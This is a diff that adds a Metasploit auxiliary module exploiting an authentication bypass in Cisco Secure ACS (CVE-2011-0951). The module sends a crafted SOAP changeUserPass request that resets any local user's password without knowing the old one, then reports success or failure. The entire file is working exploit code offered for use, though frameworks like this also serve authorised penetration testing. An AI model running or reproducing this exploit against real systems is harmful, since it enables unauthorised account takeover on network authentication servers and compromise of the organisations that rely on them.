Cisco Secure ACS Auth Bypass Module

modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb

@@ -0,0 +1,117 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name'         => 'Cisco Secure ACS Unauthorized Password Change',
+			'Version'      => '$Revision$',
+			'Description'  => %q{
+				This module exploits an authentication bypass issue which allows arbitrary password
+				change requests to be issued for any user in the local store.
+				},
+			'References'     =>
+				[
+					['BID', '47093'],
+					['CVE', 'CVE-2011-0951'],
+					['URL', 'http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html'],
+				],
+			'Author'         =>
+				[
+					'Jason Kratzer',
+					'www.flinkd.org'
+				],
+			'License'      => MSF_LICENSE
+		)
+
+		register_options(
+			[
+				Opt::RPORT(443),
+				OptString.new('URI', [false, 'Path to UCP WebService', '/PI/services/UCP/']),
+				OptString.new('USERNAME', [true, 'Username to use', '']),
+				OptString.new('PASSWORD', [true, 'Password to use', '']),
+				OptBool.new('SSL', [true, 'Use SSL', true],),
+			], self.class)
+	end
+
+	def rport
+		datastore['RPORT']
+	end
+
+	def run_host(ip)
+		soapenv='http://schemas.xmlsoap.org/soap/envelope/'
+		soapenvenc='http://schemas.xmlsoap.org/soap/encoding/'
+		xsi='http://www.w3.org/1999/XMLSchema-instance'
+		xsd='http://www.w3.org/1999/XMLSchema'
+		ns1='ns1:changeUserPass'
+
+		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
+		data << '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="' + soapenvenc + '" '
+		data << 'xmlns:SOAP-ENC="' + soapenvenc + '" '
+		data << 'xmlns:xsi="' + xsi + '" xmlns:SOAP-ENV="' + soapenv + '" '
+		data << 'xmlns:xsd="' + xsd + '">' + "\r\n"
+
+		data << '<SOAP-ENV:Body>' + "\r\n"
+		data << '<ns1:changeUserPass xmlns:ns1="UCP" SOAP-ENC:root="1">' + "\r\n"
+		data << '<v1 xsi:type="xsd:string">' + datastore['USERNAME'] + '</v1>' + "\r\n"
+		data << '<v2 xsi:type="xsd:string">fakepassword</v2>' + "\r\n"
+		data << '<v3 xsi:type="xsd:string">' + datastore['PASSWORD'] + '</v3>' + "\r\n"
+		data << '</ns1:changeUserPass>'
+		data << '</SOAP-ENV:Body>' + "\r\n"
+		data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
+
+		print_status("Issuing password change request for: " + datastore['USERNAME'])
+
+		begin
+			res = send_request_raw({
+				'uri'     => "/#{datastore['URI']}",
+				'method'  => 'POST',
+				'data'    => data,
+				'headers' =>
+					{
+						'Content-Length'  => data.length,
+						'SOAPAction'      => '"changeUserPass"',
+						'Content-Type'    => 'text/xml; charset=UTF-8',
+					}
+			}, 60)
+
+		rescue ::Rex::ConnectionError
+			print_error("#{rhost}:#{rport} [ACS] Unable to communicate")
+			return :abort
+		end
+
+		if not res
+			print_error("#{rhost}:#{rport} [ACS] Unable to connect")
+			return
+		elsif res.code == 200
+			body = res.body
+			if body.match(/success/i)
+				print_good("#{rhost} - Success! Password has been changed.")
+			elsif body.match(/Password has already been used/)
+				print_error("#{rhost} - Failed! The supplied password has already been used.")
+				print_error("Please change the password and try again.")
+			elsif body.match(/Invalid credntials for user/)
+				print_error("#{rhost} - Failed! Either the username does not exist or target is not vulnerable.")
+				print_error("Please change the username and try again.")
+			else
+				print_error("#{rhost} - Failed! An unexpected error has occurred.")
+			end
+		end
+
+	end
+end